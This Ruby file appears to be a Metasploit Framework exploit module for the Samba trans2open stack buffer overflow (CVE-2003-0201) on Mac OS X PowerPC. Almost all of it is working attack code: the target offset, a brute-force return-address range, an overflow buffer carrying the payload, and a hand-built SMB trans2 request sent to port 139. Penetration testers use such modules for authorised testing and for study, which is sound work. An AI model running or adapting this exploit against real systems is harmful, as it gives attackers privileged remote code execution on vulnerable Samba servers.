111 lines
2.7 KiB
Ruby
111 lines
2.7 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::SMB
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include Msf::Exploit::Brute
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Samba trans2open Overflow (Mac OS X PPC)',
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'Description' => %q{
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This exploits the buffer overflow found in Samba versions
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2.2.0 to 2.2.8. This particular module is capable of
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exploiting the bug on Mac OS X PowerPC systems.
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},
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'Author' => [ 'hdm', 'jduck' ],
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'References' =>
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[
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[ 'CVE', '2003-0201' ],
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[ 'OSVDB', '4469' ],
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[ 'BID', '7294' ],
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[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'MinNops' => 512,
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},
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'Platform' => 'osx',
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'Arch' => ARCH_PPC,
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'Targets' =>
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[
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[ 'Samba 2.2.x - Bruteforce',
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{
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# Not necessary on PPC
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# 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack
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'Offset' => 1195,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xbffffdfc },
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'Stop' => { 'Ret' => 0xbfa00000 },
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'Step' => 512
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}
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}
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]
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],
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'DisclosureDate' => 'Apr 7 2003',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(139)
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], self.class)
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end
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# Need to perform target detection
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def autofilter
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false
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end
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def brute_exploit(addrs)
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curr_ret = addrs['Ret']
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begin
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print_status("Trying return address 0x%.8x..." % curr_ret)
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connect
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smb_login
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# 1988 is required for findrecv shellcode
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pattern = rand_text_english(1988)
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# This stream covers the framepointer and the return address
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off = target['Offset']
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pattern[off, 64] = [curr_ret].pack('N') * 16
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# Stuff the shellcode into the request
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pattern[3, payload.encoded.length] = payload.encoded
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trans =
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"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
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"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
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"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
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pattern
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sock.put(trans)
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handler
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disconnect
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rescue EOFError
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rescue => e
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print_error(e.to_s)
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end
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end
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end
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